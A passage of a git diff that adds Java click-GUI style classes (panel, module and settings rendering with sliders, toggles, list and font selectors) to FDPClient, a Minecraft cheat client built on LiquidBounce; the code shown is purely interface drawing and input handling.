Color.white.getRGB()); + + moduleElement.slowlySettingsYPos = moduleElement.getY() + 6; + for (final Value value : moduleValues) { + if(!value.getDisplayable()) + continue; + + if (value instanceof BoolValue) { + final String text = value.getName(); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + if (mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos && mouseY <= moduleElement.slowlySettingsYPos + 12 && Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + final BoolValue boolValue = (BoolValue) value; + + boolValue.set(!boolValue.get()); + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, ((BoolValue) value).get() ? Color.BLACK.getRGB() : new Color(120, 120, 120).getRGB()); + moduleElement.slowlySettingsYPos += 11; + } else if (value instanceof ListValue) { + final ListValue listValue = (ListValue) value; + + final String text = value.getName(); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 16) + moduleElement.setSettingsWidth(textWidth + 16); + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, 0xFF000000); + Fonts.font35.drawString(listValue.openList ? "-" : "+", (int) (moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() - (listValue.openList ? 5 : 6)), moduleElement.slowlySettingsYPos + 2, 0xFF000000); + + if (mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos && mouseY <= moduleElement.slowlySettingsYPos + Fonts.font35.FONT_HEIGHT && Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + listValue.openList = !listValue.openList; + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + + moduleElement.slowlySettingsYPos += Fonts.font35.FONT_HEIGHT + 1; + + for (final String valueOfList : listValue.getValues()) { + final float textWidth2 = Fonts.font35.getStringWidth("- " + valueOfList); + + if (moduleElement.getSettingsWidth() < textWidth2 + 12) + moduleElement.setSettingsWidth(textWidth2 + 12); + + if (listValue.openList) { + if (mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos + 2 && mouseY <= moduleElement.slowlySettingsYPos + 14 && Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + listValue.set(valueOfList); + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + + GlStateManager.resetColor(); + Fonts.font35.drawString("- " + valueOfList, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, listValue.get() != null && listValue.get().equalsIgnoreCase(valueOfList) ? Color.BLACK.getRGB() : new Color(120, 120, 120).getRGB()); + moduleElement.slowlySettingsYPos += Fonts.font35.FONT_HEIGHT + 1; + } + } + + if (!listValue.openList) { + moduleElement.slowlySettingsYPos += 1; + } + } else if (value instanceof FloatValue) { + final FloatValue floatValue = (FloatValue) value; + final String text = value.getName() + ": " + round(floatValue.get()); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + final float valueOfSlide = drawSlider(floatValue.get(), floatValue.getMinimum(), floatValue.getMaximum(), moduleElement.getX() + moduleElement.getWidth() + 8, moduleElement.slowlySettingsYPos + 14, (int) moduleElement.getSettingsWidth() - 12, mouseX, mouseY, new Color(7, 152, 252)); + + if (valueOfSlide != floatValue.get()) + floatValue.set(valueOfSlide); + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 3, 0xFF000000); + moduleElement.slowlySettingsYPos += 19; + } else if (value instanceof IntegerValue) { + final IntegerValue integerValue = (IntegerValue) value; + final String text = value.getName() + ": " + (value instanceof BlockValue ? BlockUtils.getBlockName(integerValue.get()) + " (" + integerValue.get() + ")" : integerValue.get()); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + final float valueOfSlide = drawSlider(integerValue.get(), integerValue.getMinimum(), integerValue.getMaximum(), moduleElement.getX() + moduleElement.getWidth() + 8, moduleElement.slowlySettingsYPos + 14, (int) moduleElement.getSettingsWidth() - 12, mouseX, mouseY, new Color(7, 152, 252)); + + if (valueOfSlide != integerValue.get()) + integerValue.set((int) valueOfSlide); + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 3, 0xFF000000); + moduleElement.slowlySettingsYPos += 19; + } else if (value instanceof FontValue) { + final FontValue fontValue = (FontValue) value; + final FontRenderer fontRenderer = fontValue.get(); + + String displayString = "Font: Unknown"; + + if (fontRenderer instanceof GameFontRenderer) { + final GameFontRenderer liquidFontRenderer = (GameFontRenderer) fontRenderer; + + displayString = "Font: " + liquidFontRenderer.getDefaultFont().getFont().getName() + " - " + liquidFontRenderer.getDefaultFont().getFont().getSize(); + } else if (fontRenderer == Fonts.minecraftFont) + displayString = "Font: Minecraft"; + else { + final Object[] objects = Fonts.getFontDetails(fontRenderer); + + if (objects != null) { + displayString = objects[0] + ((int) objects[1] != -1 ? " - " + objects[1] : ""); + } + } + + Fonts.font35.drawString(displayString, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, Color.BLACK.getRGB()); + int stringWidth = Fonts.font35.getStringWidth(displayString); + + if (moduleElement.getSettingsWidth() < stringWidth + 8) + moduleElement.setSettingsWidth(stringWidth + 8); + + if ((Mouse.isButtonDown(0) && !mouseDown || Mouse.isButtonDown(1) && !rightMouseDown) && mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos && mouseY <= moduleElement.slowlySettingsYPos + 12) { + final List<FontRenderer> fonts = Fonts.getFonts(); + + if (Mouse.isButtonDown(0)) { + for (int i = 0; i < fonts.size(); i++) { + final FontRenderer font = fonts.get(i); + + if (font == fontRenderer) { + i++; + + if (i >= fonts.size()) + i = 0; + + fontValue.set(fonts.get(i)); + break; + } + } + } else { + for (int i = fonts.size() - 1; i >= 0; i--) { + final FontRenderer font = fonts.get(i); + + if (font == fontRenderer) { + i--; + + if (i >= fonts.size()) + i = 0; + + if (i < 0) + i = fonts.size() - 1; + + fontValue.set(fonts.get(i)); + break; + } + } + } + } + + moduleElement.slowlySettingsYPos += 11; + } else { + final String text = value.getName() + ": " + value.get(); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + GlStateManager.resetColor(); + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 4, 0xFF000000); + moduleElement.slowlySettingsYPos += 12; + } + } + + moduleElement.updatePressed(); + mouseDown = Mouse.isButtonDown(0); + rightMouseDown = Mouse.isButtonDown(1); + } + } + } + + private BigDecimal round(final float v) { + BigDecimal bigDecimal = new BigDecimal(Float.toString(v)); + bigDecimal = bigDecimal.setScale(2, 4); + return bigDecimal; + } + + private Color hoverColor(final Color color) { + final int r = color.getRed(); + final int g = color.getGreen(); + final int b = color.getBlue(); + + return new Color(Math.max(r, 0), Math.max(g, 0), Math.max(b, 0), color.getAlpha()); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/LiquidBounceStyle.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/LiquidBounceStyle.java new file mode 100644 index 0000000..2984954 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/LiquidBounceStyle.java @@ -0,0 +1,289 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.Panel; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ButtonElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ModuleElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.Style; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.ui.font.GameFontRenderer; +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager; +import net.ccbluex.liquidbounce.utils.block.BlockUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.features.value.*; +import net.minecraft.client.audio.PositionedSoundRecord; +import net.minecraft.client.gui.FontRenderer; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.util.MathHelper; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.StringUtils; +import org.lwjgl.input.Mouse; + +import java.awt.*; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.List; + +public class LiquidBounceStyle extends Style { + + private boolean mouseDown; + private boolean rightMouseDown; + + @Override + public void drawPanel(int mouseX, int mouseY, Panel panel) { + RenderUtils.drawBorderedRect((float) panel.getX() - (panel.getScrollbar() ? 4 : 0), (float) panel.getY(), (float) panel.getX() + panel.getWidth(), (float) panel.getY() + 19 + panel.getFade(), 1F, new Color(255, 255, 255, 90).getRGB(), Integer.MIN_VALUE); + float textWidth = Fonts.font35.getStringWidth("§f" + StringUtils.stripControlCodes(LanguageManager.INSTANCE.get(panel.getName().replaceAll("%","")))); + Fonts.font35.drawString("§f" + LanguageManager.INSTANCE.get(panel.getName().replaceAll("%","")), (int) (panel.getX() - (textWidth - 100.0F) / 2F), panel.getY() + 7, -16777216); + + if(panel.getScrollbar() && panel.getFade() > 0) { + RenderUtils.drawRect(panel.getX() - 2, panel.getY() + 21, panel.getX(), panel.getY() + 16 + panel.getFade(), Integer.MAX_VALUE); + RenderUtils.drawRect(panel.getX() - 2, panel.getY() + 30 + (panel.getFade() - 24F) / (panel.getElements().size() - FDPClient.moduleManager.getModule(ClickGUIModule.class).getMaxElementsValue().get()) * panel.getDragged() - 10.0f, panel.getX(), panel.getY() + 40 + (panel.getFade() - 24.0f) / (panel.getElements().size() - FDPClient.moduleManager.getModule(ClickGUIModule.class).getMaxElementsValue().get()) * panel.getDragged(), Integer.MIN_VALUE); + } + } + + @Override + public void drawDescription(int mouseX, int mouseY, String text) { + int textWidth = Fonts.font35.getStringWidth(LanguageManager.INSTANCE.get(text.replaceAll("%",""))); + + RenderUtils.drawBorderedRect(mouseX + 9, mouseY, mouseX + textWidth + 14, mouseY + Fonts.font35.FONT_HEIGHT + 3, 1, new Color(255, 255, 255, 90).getRGB(), Integer.MIN_VALUE); + GlStateManager.resetColor(); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(text.replaceAll("%","")), mouseX + 12, mouseY + (Fonts.font35.FONT_HEIGHT) / 2, Integer.MAX_VALUE); + } + + @Override + public void drawButtonElement(int mouseX, int mouseY, ButtonElement buttonElement) { + GlStateManager.resetColor(); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(buttonElement.getDisplayName().replaceAll("%","")), (int) (buttonElement.getX() - (Fonts.font35.getStringWidth(LanguageManager.INSTANCE.get(buttonElement.getDisplayName().replaceAll("%",""))) - 100.0f) / 2.0f), buttonElement.getY() + 6, buttonElement.getColor()); + } + + @Override + public void drawModuleElement(int mouseX, int mouseY, ModuleElement moduleElement) { + int guiColor = ClickGUIModule.INSTANCE.generateColor().getRGB(); + GlStateManager.resetColor(); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(moduleElement.getDisplayName().replaceAll("%","")), (int) (moduleElement.getX() - (Fonts.font35.getStringWidth(LanguageManager.INSTANCE.get(moduleElement.getDisplayName().replaceAll("%",""))) - 100.0f) / 2.0f), moduleElement.getY() + 6, moduleElement.getModule().getState() ? guiColor : Integer.MAX_VALUE); + + final List<Value<?>> moduleValues = moduleElement.getModule().getValues(); + + if(!moduleValues.isEmpty()) { + Fonts.font35.drawString("+", moduleElement.getX() + moduleElement.getWidth() - 8, moduleElement.getY() + (moduleElement.getHeight() / 2), Color.WHITE.getRGB()); + + if(moduleElement.isShowSettings()) { + int yPos = moduleElement.getY() + 4; + for(final Value value : moduleValues) { + if(!value.getDisplayable()) + continue; + + if (value instanceof BoolValue) { + final String text = value.getName(); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 14, Integer.MIN_VALUE); + + if (mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= yPos + 2 && mouseY <= yPos + 14) { + if (Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + final BoolValue boolValue = (BoolValue) value; + + boolValue.set(!boolValue.get()); + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + } + + GlStateManager.resetColor(); + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, ((BoolValue) value).get() ? guiColor : Integer.MAX_VALUE); + yPos += 12; + }else if(value instanceof ListValue) { + ListValue listValue = (ListValue) value; + + final String text = value.getName(); + final float textWidth = Fonts.font35.getStringWidth(text); + + if(moduleElement.getSettingsWidth() < textWidth + 16) + moduleElement.setSettingsWidth(textWidth + 16); + + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 14, Integer.MIN_VALUE); + GlStateManager.resetColor(); + Fonts.font35.drawString("§c" + text, moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, 0xffffff); + Fonts.font35.drawString(listValue.openList ? "-" : "+", (int) (moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() - (listValue.openList ? 5 : 6)), yPos + 4, 0xffffff); + + if(mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= yPos + 2 && mouseY <= yPos + 14) { + if(Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + listValue.openList = !listValue.openList; + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + } + + yPos += 12; + + for(final String valueOfList : listValue.getValues()) { + final float textWidth2 = Fonts.font35.getStringWidth(">" + valueOfList); + + if(moduleElement.getSettingsWidth() < textWidth2 + 8) + moduleElement.setSettingsWidth(textWidth2 + 8); + + if (listValue.openList) { + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 14, Integer.MIN_VALUE); + + if(mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= yPos + 2 && mouseY <= yPos + 14) { + if(Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + listValue.set(valueOfList); + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + } + + GlStateManager.resetColor(); + Fonts.font35.drawString(">", moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, Integer.MAX_VALUE); + Fonts.font35.drawString(valueOfList, moduleElement.getX() + moduleElement.getWidth() + 14, yPos + 4, listValue.get() != null && listValue.get().equalsIgnoreCase(valueOfList) ? guiColor : Integer.MAX_VALUE); + yPos += 12; + } + } + }else if(value instanceof FloatValue) { + final FloatValue floatValue = (FloatValue) value; + final String text = value.getName() + "§f: §c" + round(floatValue.get()); + final float textWidth = Fonts.font35.getStringWidth(text); + + if(moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 24, Integer.MIN_VALUE); + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 8, yPos + 18, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() - 4, yPos + 19, Integer.MAX_VALUE); + final float sliderValue = moduleElement.getX() + moduleElement.getWidth() + ((moduleElement.getSettingsWidth() - 12) * (floatValue.get() - floatValue.getMinimum()) / (floatValue.getMaximum() - floatValue.getMinimum())); + RenderUtils.drawRect(8 + sliderValue, yPos + 15, sliderValue + 11, yPos + 21, guiColor); + + if(mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() - 4 && mouseY >= yPos + 15 && mouseY <= yPos + 21) { + if(Mouse.isButtonDown(0)) { + double i = MathHelper.clamp_double((mouseX - moduleElement.getX() - moduleElement.getWidth() - 8) / (moduleElement.getSettingsWidth() - 12), 0, 1); + floatValue.set(round((float) (floatValue.getMinimum() + (floatValue.getMaximum() - floatValue.getMinimum()) * i)).floatValue()); + } + } + + GlStateManager.resetColor(); + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, 0xffffff); + yPos += 22; + }else if(value instanceof IntegerValue) { + final IntegerValue integerValue = (IntegerValue) value; + final String text = value.getName() + "§f: §c" + (value instanceof BlockValue ? BlockUtils.getBlockName(integerValue.get()) + " (" + integerValue.get() + ")" : integerValue.get()); + final float textWidth = Fonts.font35.getStringWidth(text); + + if(moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 24, Integer.MIN_VALUE); + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 8, yPos + 18, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() - 4, yPos + 19, Integer.MAX_VALUE); + final float sliderValue = moduleElement.getX() + moduleElement.getWidth() + ((moduleElement.getSettingsWidth() - 12) * (integerValue.get() - integerValue.getMinimum()) / (integerValue.getMaximum() - integerValue.getMinimum())); + RenderUtils.drawRect(8 + sliderValue, yPos + 15, sliderValue + 11, yPos + 21, guiColor); + + if(mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= yPos + 15 && mouseY <= yPos + 21) { + if(Mouse.isButtonDown(0)) { + double i = MathHelper.clamp_double((mouseX - moduleElement.getX() - moduleElement.getWidth() - 8) / (moduleElement.getSettingsWidth() - 12), 0, 1); + integerValue.set((int) (integerValue.getMinimum() + (integerValue.getMaximum() - integerValue.getMinimum()) * i)); + } + } + + GlStateManager.resetColor(); + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, 0xffffff); + yPos += 22; + }else if(value instanceof FontValue) { + final FontValue fontValue = (FontValue) value; + final FontRenderer fontRenderer = fontValue.get(); + + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 14, Integer.MIN_VALUE); + + String displayString = "Font: Unknown"; + + if (fontRenderer instanceof GameFontRenderer) { + final GameFontRenderer liquidFontRenderer = (GameFontRenderer) fontRenderer; + + displayString = "Font: " + liquidFontRenderer.getDefaultFont().getFont().getName() + " - " + liquidFontRenderer.getDefaultFont().getFont().getSize(); + }else if(fontRenderer == Fonts.minecraftFont) + displayString = "Font: Minecraft"; + else{ + final Object[] objects = Fonts.getFontDetails(fontRenderer); + + if(objects != null) { + displayString = objects[0] + ((int) objects[1] != -1 ? " - " + objects[1] : ""); + } + } + + Fonts.font35.drawString(displayString, moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, Color.WHITE.getRGB()); + int stringWidth = Fonts.font35.getStringWidth(displayString); + + if(moduleElement.getSettingsWidth() < stringWidth + 8) + moduleElement.setSettingsWidth(stringWidth + 8); + + if((Mouse.isButtonDown(0) && !mouseDown || Mouse.isButtonDown(1) && !rightMouseDown) && mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= yPos + 4 && mouseY <= yPos + 12) { + final List<FontRenderer> fonts = Fonts.getFonts(); + + if(Mouse.isButtonDown(0)) { + for(int i = 0; i < fonts.size(); i++) { + final FontRenderer font = fonts.get(i); + + if(font == fontRenderer) { + i++; + + if(i >= fonts.size()) + i = 0; + + fontValue.set(fonts.get(i)); + break; + } + } + }else{ + for(int i = fonts.size() - 1; i >= 0; i--) { + final FontRenderer font = fonts.get(i); + + if(font == fontRenderer) { + i--; + + if(i >= fonts.size()) + i = 0; + + if(i < 0) + i = fonts.size() - 1; + + fontValue.set(fonts.get(i)); + break; + } + } + } + } + + yPos += 11; + }else{ + String text = value.getName() + "§f: §c" + value.get(); + float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 14, Integer.MIN_VALUE); + GlStateManager.resetColor(); + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, 0xffffff); + yPos += 12; + } + } + + moduleElement.updatePressed(); + mouseDown = Mouse.isButtonDown(0); + rightMouseDown = Mouse.isButtonDown(1); + + if(moduleElement.getSettingsWidth() > 0F && yPos > moduleElement.getY() + 4) + RenderUtils.drawBorderedRect(moduleElement.getX() + moduleElement.getWidth() + 4, moduleElement.getY() + 6, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 2, 1F, Integer.MIN_VALUE, 0); + } + } + } + + private BigDecimal round(final float f) { + BigDecimal bd = new BigDecimal(Float.toString(f)); + bd = bd.setScale(2, RoundingMode.HALF_UP); + return bd; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/NullStyle.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/NullStyle.java new file mode 100644 index 0000000..9379b50 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/NullStyle.java @@ -0,0 +1,287 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles; + +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.Panel; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ButtonElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ModuleElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.Style; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.ui.font.GameFontRenderer; +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager; +import net.ccbluex.liquidbounce.utils.block.BlockUtils; +import net.ccbluex.liquidbounce.utils.render.ColorUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.features.value.*; +import net.minecraft.client.audio.PositionedSoundRecord; +import net.minecraft.client.gui.FontRenderer; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.util.MathHelper; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.StringUtils; +import org.lwjgl.input.Mouse; + +import java.awt.*; +import java.math.BigDecimal; +import java.util.List; + +public class NullStyle extends Style { + + private boolean mouseDown; + private boolean rightMouseDown; + + @Override + public void drawPanel(int mouseX, int mouseY, Panel panel) { + RenderUtils.drawGradientSidewaysH((float) panel.getX() - 3, (float) panel.getY(), (float) panel.getX() + panel.getWidth() + 3, (float) panel.getY() + 19, ClickGUIModule.INSTANCE.generateColor().getRGB(), ColorUtils.INSTANCE.reAlpha(ClickGUIModule.INSTANCE.generateColor(),50).getRGB()); + if(panel.getFade() > 0) + RenderUtils.drawBorderedRect((float) panel.getX(), (float) panel.getY() + 19, (float) panel.getX() + panel.getWidth(), panel.getY() + 19 + panel.getFade(), 1, Integer.MIN_VALUE, Integer.MIN_VALUE); + GlStateManager.resetColor(); + float textWidth = Fonts.minecraftFont.getStringWidth("§f" + StringUtils.stripControlCodes(LanguageManager.INSTANCE.get(panel.getName().replaceAll("%","")))); + Fonts.minecraftFont.drawString("§f" + LanguageManager.INSTANCE.get(panel.getName().replaceAll("%","")), (int) (panel.getX() - (textWidth - 93.0F) / 2F), panel.getY() + 7, Integer.MAX_VALUE); + } + + @Override + public void drawDescription(int mouseX, int mouseY, String text) { + int textWidth = Fonts.minecraftFont.getStringWidth(LanguageManager.INSTANCE.get(text.replaceAll("%",""))); + + RenderUtils.drawRect(mouseX + 9, mouseY, mouseX + textWidth + 14, mouseY + Fonts.minecraftFont.FONT_HEIGHT + 3, ClickGUIModule.INSTANCE.generateColor().getRGB()); + GlStateManager.resetColor(); + Fonts.minecraftFont.drawString(LanguageManager.INSTANCE.get(text.replaceAll("%","")), mouseX + 12, mouseY + (Fonts.minecraftFont.FONT_HEIGHT / 2), Integer.MAX_VALUE); + } + + @Override + public void drawButtonElement(int mouseX, int mouseY, ButtonElement buttonElement) { + GlStateManager.resetColor(); + Fonts.minecraftFont.drawString(LanguageManager.INSTANCE.get(buttonElement.getDisplayName().replaceAll("%","")), (int) (buttonElement.getX() - (Fonts.minecraftFont.getStringWidth(LanguageManager.INSTANCE.get(buttonElement.getDisplayName().replaceAll("%",""))) - 100.0f) / 2.0f), buttonElement.getY() + 6, buttonElement.getColor()); + } + + @Override + public void drawModuleElement(int mouseX, int mouseY, ModuleElement moduleElement) { + final int guiColor = ClickGUIModule.INSTANCE.generateColor().getRGB(); + GlStateManager.resetColor(); + Fonts.minecraftFont.drawString(LanguageManager.INSTANCE.get(moduleElement.getDisplayName().replaceAll("%","")), (int) (moduleElement.getX()+3), moduleElement.getY() + 7, moduleElement.getModule().getState() ? guiColor : Integer.MAX_VALUE); + + final List<Value<?>> moduleValues = moduleElement.getModule().getValues(); + + if(!moduleValues.isEmpty()) { + Fonts.minecraftFont.drawString("+", moduleElement.getX() + moduleElement.getWidth() - 8, moduleElement.getY() + (moduleElement.getHeight() / 2), Color.WHITE.getRGB()); + + if(moduleElement.isShowSettings()) { + int yPos = moduleElement.getY() + 4; + for(final Value value : moduleValues) { + if(!value.getDisplayable()) + continue; + + if(value instanceof BoolValue) { + String text = value.getName(); + float textWidth = Fonts.minecraftFont.getStringWidth(text); + + if(moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 14, Integer.MIN_VALUE); + + if(mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= yPos + 2 && mouseY <= yPos + 14) { + if(Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + final BoolValue boolValue = (BoolValue) value; + + boolValue.set(!boolValue.get()); + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + } + + GlStateManager.resetColor(); + Fonts.minecraftFont.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, ((BoolValue) value).get() ? guiColor : Integer.MAX_VALUE); + yPos += 12; + }else if(value instanceof ListValue) { + ListValue listValue = (ListValue) value; + + String text = value.getName(); + float textWidth = Fonts.minecraftFont.getStringWidth(text); + + if(moduleElement.getSettingsWidth() < textWidth + 16) + moduleElement.setSettingsWidth(textWidth + 16); + + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 14, Integer.MIN_VALUE); + GlStateManager.resetColor(); + Fonts.minecraftFont.drawString("§c" + text, moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, 0xffffff); + Fonts.minecraftFont.drawString(listValue.openList ? "-" : "+", (int) 